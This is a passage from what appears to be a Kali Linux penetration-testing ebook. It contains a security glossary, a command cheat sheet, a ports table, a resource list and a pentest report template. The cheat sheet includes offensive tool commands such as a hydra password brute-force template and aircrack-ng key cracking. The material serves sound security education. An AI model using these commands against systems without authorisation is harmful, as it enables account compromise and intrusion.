(Offensive the Offensive Security's Penetration Testing with Kali
Security Linux (PWK) course and pass the OSCP exam.
Certified
Professional)

OSINT (Open The process of collecting and analyzing publicly


Source available information from the internet and other open
Intelligence) sources to gather intelligence.

Phishing A social engineering attack that tricks individuals into


revealing sensitive information such as passwords,
financial details, or personal information via deceptive
emails or websites.
Privilege The act of exploiting a vulnerability to gain higher-level
Escalation privileges on a system, typically moving from a normal
user to an administrator or root access.
Pivoting The technique of using a compromised system as a
springboard to attack other systems within a network,
enabling lateral movement.
Port The process of scanning a network to identify open ports
Scanning on remote systems, which could indicate potential entry
points for exploitation.
Payload A piece of code or data that is delivered during an
attack, often used to execute malicious actions or
establish remote access.
Penetration A simulated attack on a system or network to identify
Testing vulnerabilities that could be exploited by attackers.
(Pentesting)
Rootkit A collection of tools or software designed to hide the
presence of malicious activity or maintain unauthorized
access to a system.
RAT (Remote A type of malware that allows attackers to remotely
Access control a compromised system, often used for espionage
Trojan) or data theft.
Reputation- A method of identifying malicious files or behaviors
Based based on their known reputation (e.g., from threat
Detection intelligence sources).
Reverse The process of deconstructing software or hardware to
Engineering understand its function, identify vulnerabilities, or create
exploits.
RFI (Remote A type of vulnerability in web applications that allows
File an attacker to include remote files, potentially allowing
Inclusion) arbitrary code execution.
SQL A web application vulnerability that allows an attacker
Injection to execute arbitrary SQL queries against a database,
(SQLi) often leading to unauthorized data access or
manipulation.
Social A technique used by attackers to manipulate or trick
Engineering individuals into revealing sensitive information or
performing actions that compromise security.
Shellcode A small piece of code used as the payload in an exploit,
often to execute commands or provide remote access.
Sniffing The process of intercepting and analyzing network
traffic to gather information, such as passwords,
credentials, or sensitive data.
Spoofing The act of impersonating another system or user to gain
unauthorized access or deceive others, such as IP, MAC,
or DNS spoofing.
SQLi (SQL A type of vulnerability in web applications that allows
Injection) attackers to manipulate the database by injecting
malicious SQL queries into an input field.
Trojans Malicious software disguised as legitimate software that
performs harmful actions when executed.
Vulnerability The process of scanning systems and networks for
Scanning weaknesses or security holes that could be exploited by
attackers.
Zero-Day A flaw in software or hardware that is unknown to the
Vulnerability vendor and has no available fix, often exploited by
attackers before a patch is released.
Comprehensive Kali Linux
Command Cheat Sheet

Category Command Description


File pwd Prints the current working directory.
System
Navigation
ls Lists the contents of a directory.
ls -l Lists directory contents in long format,
including file permissions, ownership,
size, and modification date.
ls -a Lists all files, including hidden files
(those starting with a dot).
cd <directory> Changes the current directory to
<directory>.
cd .. Moves up one directory level.
tree Displays a hierarchical view of the
directory structure.

find <directory> Finds files in a directory based on the


-name filename.
<filename>

File chmod Changes the permissions of a file.


Permission <permissions> Example: chmod 755 file.txt for full
s <file>
read/write/execute for the owner and
read/execute for others.
chown <user>: Changes the ownership of a file.
<group> <file> Example: chown root:root file.txt.
chgrp <group> Changes the group ownership of a file.
<file>
Process ps Lists the currently running processes.
Manageme
nt
ps aux Lists all processes with detailed
information such as memory usage,
CPU usage, and more.
top Displays a real-time view of system
processes, resource usage, and
performance statistics.
kill <pid> Terminates a process by its process ID
(PID).
killall <process> Terminates all processes by the given
name. Example: killall firefox to close
all Firefox windows.
bg Resumes a suspended process in the
background.
fg Brings a background process to the
foreground.
Networkin ifconfig Displays network interface
g configuration (use ip a in newer
systems).
ip a Displays all network interfaces and their
IP configurations.
ping <host> Sends ICMP echo requests to a
specified host to check if it is reachable.
traceroute Traces the route packets take to reach a
<host> specified host.
netstat -tuln Displays a list of active listening ports
and their associated services.
nmap <target> Network scanning tool used to discover
hosts, services, and open ports.
Example: nmap 192.168.1.1.
netdiscover A tool for discovering hosts in a
network through ARP requests.
iwconfig Displays or configures wireless network
interfaces (useful for working with
wireless adapters).
airmon-ng Starts airmon-ng tool to manage
monitor mode on wireless interfaces.

aircrack-ng Cracks WEP/WPA keys from captured


<capture_file> packets.

nc <host> <port> Netcat: establishes a TCP/UDP


connection to a host and port.
curl <url> Transfers data from or to a server using
HTTP, HTTPS, FTP, etc. Useful for
testing web servers.
Package apt update Updates the list of available packages
Manageme and their versions from repositories.
nt
apt upgrade Upgrades all the installed packages to
their latest versions.
apt install Installs a new package from the Kali
<package> repository. Example: apt install nmap.
apt remove Removes an installed package.
<package>
dpkg -l Lists installed packages on the system.
Disk df -h Displays disk space usage for all
Manageme mounted filesystems in a human-
nt readable format.
du -sh Shows the disk usage of a directory in a
<directory> human-readable format.
mount Displays the currently mounted
filesystems.

umount Unmounts a filesystem or device.


<device>

fdisk -l Lists all partitions and their associated


information.
Text nano <file> Opens a file for editing in the Nano text
Editing editor.
vim <file> Opens a file for editing in the Vim text
editor.
cat <file> Concatenates and displays the content
of a file.
less <file> Displays the content of a file one page
at a time, useful for large files.
grep <pattern> Searches for a specified pattern in a file.
<file>
echo <text> Prints the specified text to the terminal.
Scripting bash Executes a shell script or starts an
and interactive Bash shell session.
Automatio
n
chmod +x Makes a script executable.
<script.sh>
./<script.sh> Runs an executable shell script.
cron Schedules tasks to be run automatically
at specified times.
System uname -a Displays detailed system information,
Informatio including kernel version and system
n architecture.
uptime Shows how long the system has been
running along with system load
averages.
lscpu Displays detailed information about the
CPU architecture.
lsblk Lists all available block devices (such
as hard drives, SSDs, etc.).
free -h Displays memory usage statistics in a
human-readable format.
Security metasploit Launches the Metasploit Framework for
Tools penetration testing and exploit
development.
msfconsole Starts the Metasploit console, the main
interface for interacting with Metasploit.
nikto -h <target> Runs Nikto, a web server scanner, to
check for vulnerabilities.
burpsuite Launches the Burp Suite proxy tool for
web application testing.
hydra -l Brute force attack tool to test login
<username> -P credentials against a target service.
<password_file>
<host>
<protocol>
System chkrootkit Scans for signs of rootkits on the
Security & system.
Forensics

rkhunter Scans for rootkits, backdoors, and local


exploits.
netstat -tulnp Displays the active listening ports along
with the process using them, useful for
detecting open backdoors or trojans.
history Displays the command history for the
current session.
Archiving tar -czvf Compresses files into a .tar.gz archive.
and <archive.tar.gz>
Compressi <file>
on
tar -xzvf Extracts a .tar.gz archive.
<archive.tar.gz>
zip Compresses files into a .zip archive.
<archive.zip>
<file>
unzip Extracts a .zip archive.
<archive.zip>

This cheat sheet covers a wide variety of Kali Linux commands used by
penetration testers and ethical hackers. Whether you’re navigating the
system, managing files, running network tests, or using security tools, these
commands are essential for working efficiently in Kali Linux.
Table of Common Ports and
Protocols

Protocol Port Service Name Description


(s)
File 21 FTP A standard network protocol used
Transfer for transferring files between
Protocol client and server.
Secure 22 SFTP, SSH Secure file transfer protocol;
FTP encrypted version of FTP using
SSH for secure data transmission.
Telnet 23 Telnet Used for remote management and
communication, though it is
insecure (not encrypted).
SMTP 25 Simple Mail Used for sending emails between
Transfer mail servers.
Protocol
DNS 53 Domain Name Resolves domain names to IP
System addresses and vice versa.
HTTP 80 HyperText The standard protocol for web
Transfer traffic (non-secure).
Protocol
POP3 110 Post Office Used by email clients to retrieve
Protocol 3 emails from the server.
IMAP 143 Internet Message An advanced protocol for email
Access Protocol retrieval that allows
synchronization with the server.

HTTPS 443 HyperText Secure version of HTTP using


Transfer SSL/TLS encryption to secure
Protocol Secure data transfers.
SMB 445 Server Message Used for file and printer sharing
Block in Windows-based networks.
FTP Data 20 FTP Data Used for the data transfer part of
Transfer FTP, typically after the initial
connection on port 21.
SSH 22 Secure Shell A secure protocol used for remote
login and command execution.
RDP 3389 Remote Desktop Protocol used for remote access to
Protocol Windows desktops.
MySQL 3306 MySQL A popular database service used
by web applications for storing
data.
PostgreS 5432 PostgreSQL Open-source relational database
QL system.
LDAP 389 Lightweight A protocol used for accessing and
Directory maintaining directory information
Access Protocol services.
LDAPS 636 LDAP over SSL The secure version of LDAP,
which uses SSL/TLS for
encryption.
SNMP 161 Simple Network A protocol used to manage and
Management monitor network devices.
Protocol
SNMP 162 SNMP Trap A notification protocol used by
Trap SNMP agents to send alert
messages to the management
console.
TFTP 69 Trivial File A simplified version of FTP used
Transfer for transferring small files,
Protocol typically used in network booting.

HTTP 8080 HTTP Alternate An alternative HTTP port used by


Alternativ web servers to avoid conflicts
e with port 80.

VPN 1723 Point-to-Point Used for creating VPN


(PPTP) Tunneling connections for secure tunneling
Protocol of data over a network.
IPsec 50 IP Security Used for securing IP packets via
authentication and encryption
(often used in VPNs).
GRE 47 Generic Routing A tunneling protocol used to
Encapsulation encapsulate a wide variety of
network layer protocols.
Syslog 514 Syslog A standard for message logging,
commonly used by routers,
firewalls, and other network
devices.
Kerberos 88 Kerberos A network authentication protocol
Authentication that uses tickets for secure
Protocol communication.
NetBIOS 137- NetBIOS A suite of network services
139 related to file and printer sharing
on local area networks (LANs).
NTP 123 Network Time Used for synchronizing clocks
Protocol over a packet-switched network.
X11 6000 X Window Provides a framework for the
- System graphical user interface (GUI) in
6063 Unix-like systems.
BGP 179 Border Gateway A routing protocol used for
Protocol routing information between
autonomous systems (ASes) on
the internet.
MSSQL 1433 Microsoft SQL A proprietary relational database
- Server management system used for web
1434 applications, often exploited in
attacks.
VNC 5900 Virtual Network A protocol for remote desktop
Computing sharing, similar to RDP but works
across different platforms.
L2TP 1701 Layer 2 Used in VPN implementations,
Tunneling typically in conjunction with
Protocol IPsec.
SIP 5060 Session A protocol used for initiating and
- Initiation managing real-time
5061 Protocol communication sessions, such as
VoIP.
RIP 520 Routing A distance-vector routing protocol
Information used to determine the best path
Protocol for data in an IP network.
VTP 1589 VLAN Trunking A Cisco proprietary protocol used
Protocol to manage VLANs across a
network.
FTPS 990 FTP Secure A secure version of FTP, using
SSL/TLS for encrypted
connections.
POP3 995 POP3 Secure A secure version of POP3,
Secure typically using SSL/TLS for
encryption.
IMAPS 993 IMAP Secure A secure version of IMAP, using
SSL/TLS for encrypted email
retrieval.
IRC 6660 Internet Relay A protocol for real-time
- Chat communication and group chats
6669 over the internet.
SMTPS 465 SMTP Secure A secure version of SMTP,
typically using SSL/TLS to
encrypt email communication.
DCCP 2080 Datagram A transport layer protocol used
Congestion for congestion control in network
Control Protocol communication.

RADIUS 1812 Remote Used for network access


- Authentication authentication and accounting.
1813 Dial-In User
Service
TACACS 49 Terminal Access A protocol used for providing
+ Controller centralized authentication for
Access-Control network devices.
System Plus
L2F 1701 Layer 2 A protocol for tunneling network
Forwarding traffic, often used in VPN
implementations.
FTP over 989 FTPS (Implicit FTP over SSL, using an encrypted
SSL SSL FTP) connection.
(FTPS)
LDAP 636 Secure LDAP A secure version of the LDAP
(Secure) protocol using SSL/TLS
encryption.
Additional Considerations:
● Well-Known Ports (0–1023): These ports are widely used by
standard services and require administrative privileges to bind.

● Registered Ports (1024–49151): These ports are used by software


applications and can be used by any application to communicate.

● Dynamic and Private Ports (49152–65535): These ports are used by


client-side applications and are dynamically allocated.
Useful Resources and Further
Reading
For anyone involved in penetration testing, cybersecurity, or even just the
general exploration of Kali Linux and related tools, there is an extensive
array of resources available for both foundational learning and advanced
exploration. Below is a comprehensive list of useful resources, categorized
by type, that will help deepen your knowledge and skills in these areas.
1. Kali Linux Official Resources
● Kali Linux Documentation
The official Kali Linux website provides a comprehensive set of
documentation for getting started, advanced usage, and
troubleshooting. You can find detailed guides for installing Kali,
configuring network settings, and understanding the vast array of
tools it includes.
Kali Linux Documentation

● Kali Linux Blog


The blog on Kali’s official website offers updates on new releases,
features, and community contributions. It's an excellent resource for
keeping up with the latest developments and tips for Kali Linux users.
Kali Linux Blog

● Kali Linux GitHub Repository


For those interested in the development side, the official GitHub
repository for Kali Linux contains the source code, contributions from
the community, and a history of releases. It's also a great place to
report issues or get involved in Kali’s development.
Kali Linux GitHub
2. Books on Penetration Testing and Kali Linux
● The Web Application Hacker's Handbook by Dafydd Stuttard &
Marcus Pinto
A deep dive into web application security, covering various attacks
such as SQL injection, Cross-Site Scripting (XSS), and Cross-Site
Request Forgery (CSRF). This book is a must-read for anyone
interested in web application penetration testing.
Web Application Hacker's Handbook

● Kali Linux Revealed: Mastering the Penetration Testing


Distribution by Raphael Hertzog, Jim O'Gorman, and Mati
Aharoni
This is a great book for both beginners and advanced users of Kali
Linux. It walks readers through the installation and configuration of
Kali, the tools included, and how to use them for penetration testing.
Kali Linux Revealed

● Penetration Testing: A Hands-On Introduction to Hacking by


Georgia Weidman
An excellent resource for those who are new to penetration testing.
This book covers all major concepts, from exploiting vulnerabilities
to post-exploitation techniques, with hands-on examples using tools
like Kali Linux.
Penetration Testing: A Hands-On Introduction to Hacking

● The Hacker Playbook Series by Peter Kim


These books offer step-by-step penetration testing methodology, with
tips, tricks, and scenarios that help to simulate real-world penetration
tests. It's a great series for practical knowledge and examples.
The Hacker Playbook 2

3. Online Training Platforms


● Offensive Security’s Training and Certifications
The creators of Kali Linux, Offensive Security, offer training courses
and certifications. The most well-known is the Offensive Security
Certified Professional (OSCP), which is a certification that focuses on
real-world penetration testing.
Offensive Security Training

● TryHackMe
An interactive cybersecurity training platform with beginner to
advanced courses, including penetration testing, web application
security, and more. TryHackMe provides hands-on labs and
challenges using Kali Linux and other tools.
TryHackMe

● Hack The Box


A platform designed for ethical hackers to practice penetration testing
skills in a controlled and legal environment. Hack The Box offers
challenges in various difficulty levels, and many labs can be solved
using Kali Linux tools.
Hack The Box

● Udemy Courses
There are various penetration testing and Kali Linux-focused courses
available on Udemy, such as “Learn Ethical Hacking from Scratch,”
“Kali Linux for Beginners,” and “Penetration Testing with Kali
Linux.” These courses offer structured learning paths, practical labs,
and certificates.
Udemy Penetration Testing Courses

4. Community and Forums


● Kali Linux Forums
The official Kali Linux forums are a vibrant community where users
can ask questions, share tips, and get troubleshooting help directly
from the community and Kali developers.
Kali Linux Forums

● Reddit - r/KaliLinux
The r/KaliLinux subreddit is a great place to keep up with news,
guides, tutorials, and discussions around Kali Linux. It's also a good
place to ask questions and receive feedback.
r/KaliLinux

● Stack Exchange - Information Security


The Information Security Stack Exchange is an excellent Q&A
platform for cybersecurity professionals. It's a great place to ask
detailed, technical questions related to penetration testing, Kali Linux,
and ethical hacking.
Information Security Stack Exchange

● PenTestersForum
A forum dedicated to penetration testing, ethical hacking, and
cybersecurity. It provides resources, tutorials, and community support
for users at all levels of experience.
PenTestersForum

5. YouTube Channels and Video Tutorials


● Kali Linux Official YouTube Channel
The official Kali Linux YouTube channel offers a wide range of
tutorials, demonstrations, and presentations from the Kali Linux
development team. It's an excellent resource for visual learners.
Kali Linux YouTube Channel

● The Cyber Mentor


This YouTube channel, run by Heath Adams, focuses on ethical
hacking, penetration testing, and cybersecurity tutorials. It covers a
wide range of penetration testing topics, including using Kali Linux
tools.
The Cyber Mentor

● IppSec
IppSec's YouTube channel is a popular choice for practical
walkthroughs of Hack The Box machines. The channel features
detailed penetration testing tutorials that demonstrate how to approach
various challenges using Kali Linux.
IppSec's Channel
● NetworkChuck
NetworkChuck’s channel provides practical cybersecurity and
penetration testing tutorials. Many of the videos are beginner-friendly
and offer easy-to-follow explanations.
NetworkChuck

6. Vulnerability Databases and Exploit Repositories


● Exploit-DB
Exploit-DB is an essential resource for penetration testers. It is a vast
database of exploits, vulnerabilities, and public payloads. It allows
you to search for specific vulnerabilities and associated exploits.
Exploit-DB

● CVE Details
CVE Details is a comprehensive and searchable database of Common
Vulnerabilities and Exposures (CVEs), a critical resource for staying
updated on security issues across various software and systems.
CVE Details

● NVD (National Vulnerability Database)


The NVD, operated by NIST, provides a comprehensive and public
database of vulnerabilities and their associated risks. It is used by
professionals to stay informed about vulnerabilities that may affect
systems.
NVD

7. Vulnerability Scanners and Penetration Testing Tools


● Nmap
The most widely-used network scanner that allows penetration testers
to identify open ports, services, and vulnerabilities in networked
systems.
Nmap

● Burp Suite
A popular suite of tools used for web application security testing. It
provides functionality for spidering, scanning, and exploiting web
applications.
Burp Suite

● Wireshark
A network protocol analyzer that allows you to capture and
interactively browse the traffic running on a computer network. It’s
essential for monitoring and analyzing network traffic.
Wireshark

● Metasploit Framework
A comprehensive penetration testing framework for developing and
executing exploit code. Metasploit is one of the most powerful tools
for exploitation.
Metasploit
Sample Penetration Test Report
Template
A Penetration Test Report is a crucial document that summarizes the
findings of a penetration test. It is an essential deliverable for any
penetration tester, and its purpose is to communicate vulnerabilities, risks,
and recommended mitigations to the organization. A well-structured
penetration test report allows both technical and non-technical stakeholders
to understand the security posture of their systems and what can be done to
enhance it. Below is an extensive guide on how to structure a penetration
test report, including a sample template.

Penetration Testing Report Template


1. Title Page
● Title: Penetration Testing Report

● Company Name: [Client Name]

● Prepared By: [Penetration Tester Name/Organization]

● Date: [Date of Report Creation]

● Report Version: [Version Number]

2. Executive Summary
The Executive Summary provides a high-level overview of the findings,
risks, and actions. It is directed at management and non-technical
stakeholders who may not require the granular details of the test.
● Objective of the Test:
Provide an overview of the goals of the penetration test. This can
include testing the security of the infrastructure, applications, and/or
internal and external networks.

● Scope:
Summarize the scope of the engagement, including what systems,
networks, or applications were tested. It should also specify any
exclusions or limitations (e.g., systems not tested, time constraints).

● Test Methodology:
Briefly explain the testing methodologies, such as black-box, white-
box, or gray-box testing, and whether the test was automated or
manual.

● Summary of Findings:
List the major vulnerabilities and their impact. Highlight critical
issues first, followed by high, medium, and low-risk findings.

● Risk Level and Impact:


Provide an assessment of the overall risk level (e.g., Critical, High,
Medium, Low) for the organization, considering all vulnerabilities
found.

● Recommendations:
Summarize the most important recommendations to address the
vulnerabilities. Provide high-level guidance on remediation steps.

3. Table of Contents
1. Executive Summary

2. Methodology

3. Scope
4. Detailed Findings

1. Critical Vulnerabilities

2. High-Risk Vulnerabilities

3. Medium-Risk Vulnerabilities

4. Low-Risk Vulnerabilities

5. Conclusion

6. Recommendations for Remediation

7. Appendix

1. Tools Used

2. Additional Notes and Observations

3. References

4. Methodology
This section outlines the overall methodology used to conduct the
penetration test. It ensures transparency and helps readers understand the
approach and testing phases.
● Phase 1: Reconnaissance
Describe how information was gathered about the target (e.g., open-
source intelligence gathering, DNS enumeration, WHOIS queries).

● Phase 2: Scanning and Enumeration


Explain the scanning tools used (e.g., Nmap, Nessus) and the
enumeration process for identifying services, ports, and
vulnerabilities.
● Phase 3: Exploitation
Provide a brief description of any exploitation techniques, including
manual and automated exploitation of identified vulnerabilities.

● Phase 4: Post-Exploitation
Mention the activities carried out after successful exploitation, such as
maintaining access, privilege escalation, and lateral movement.

● Phase 5: Reporting
Detail how the findings were documented and organized.

5. Scope
In this section, describe the target environment in detail, including specific
systems, applications, and networks that were within the scope of the test,
as well as what was excluded.
● Systems Tested:
Specify the systems that were part of the penetration test, including IP
addresses, subnets, domain names, and URLs.

● Exclusions:
Any systems or applications that were not part of the test (e.g.,
production environments, certain servers, third-party services) should
be clearly listed here.

● Testing Period:
Indicate the duration of the penetration test and the testing window
(e.g., dates and times).

6. Detailed Findings
This section forms the bulk of the report, with detailed explanations of each
vulnerability discovered, including evidence and recommendations for
remediation.
● Vulnerability ID:
Assign each vulnerability a unique ID for easy reference.
● Vulnerability Description:
A detailed explanation of each vulnerability, including what it is, how
it was discovered, and why it poses a risk to the organization.

● Risk Level (Critical, High, Medium, Low):


Assign a severity level to each finding based on its impact and
exploitability.

● Evidence/Proof of Concept:
Provide concrete evidence of exploitation, such as screenshots, logs,
or command outputs, to support the findings. Include any proof-of-
concept (PoC) code if applicable.

● Impact:
Describe the potential consequences of the vulnerability being
exploited (e.g., data loss, unauthorized access, system compromise).

● Remediation Recommendations:
Offer specific advice on how to mitigate or resolve the vulnerability.
This could involve patching software, reconfiguring systems, or
enhancing security policies.

● References:
Include any external references, such as CVE identifiers, vendor
documentation, or best practice guidelines.

7. Conclusion
The conclusion should summarize the overall findings of the penetration
test, stressing the most critical vulnerabilities that need to be addressed
immediately. It should also briefly outline any actions taken during the test
and their outcomes.
● Overall Risk Assessment:
Provide a concise summary of the overall security posture of the
tested environment, including any critical weaknesses that could be
exploited by attackers.
● Key Recommendations:
Reiterate the most important actions that the organization should take
to improve security, based on the findings.

8. Recommendations for Remediation


Provide a high-level action plan for addressing the vulnerabilities found
during the penetration test.
● Priority Actions:
List the most critical remediation steps (e.g., patching vulnerabilities,
reconfiguring firewalls, implementing multi-factor authentication).

● Long-Term Recommendations:
Discuss any recommended ongoing improvements, such as enhancing
security policies, conducting regular security training, or adopting a
more robust security framework.

● Future Testing:
Suggest conducting future penetration tests or vulnerability
assessments to ensure continued security.

9. Appendix
This section includes additional technical details, supporting evidence, and
references that can help the client understand and follow up on the findings.
● Tools Used:
List all tools and techniques used in the penetration test, such as
Nmap, Metasploit, Burp Suite, Wireshark, etc.

● Additional Notes and Observations:


Provide any additional findings, observations, or context that may be
helpful for understanding the report or that were not included in the
main body of the report.

● References:
Include links to external resources, vendor documentation, or industry
standards that are relevant to the findings and recommendations.

Sample Report (Excerpt)


Executive Summary
Objective:
The goal of this penetration test was to assess the security posture of
Company XYZ’s external-facing web application and internal network
infrastructure. This report outlines the discovered vulnerabilities, their risks,
and recommendations for mitigation.
Scope:
The engagement included testing the following systems:
● Web application: www.xyz.com

● Internal network: 10.0.0.0/24

Summary of Findings:
● Critical Vulnerabilities:

○ SQL Injection vulnerability in the login page. This allows


remote attackers to execute arbitrary SQL queries and extract
sensitive data from the database.

○ Insufficient encryption for sensitive data at rest.

● High-Risk Vulnerabilities:

○ Outdated software versions with known vulnerabilities (Apache


2.4.18).

○ Misconfigured firewall settings allowing unnecessary open


ports.
Recommendations:
● Remediate SQL Injection by implementing prepared statements or
ORM solutions.

● Ensure all sensitive data is encrypted both at rest and in transit using
industry-standard algorithms like AES-256.

● Patch outdated software immediately and configure the firewall to


restrict unnecessary ports.

You might also like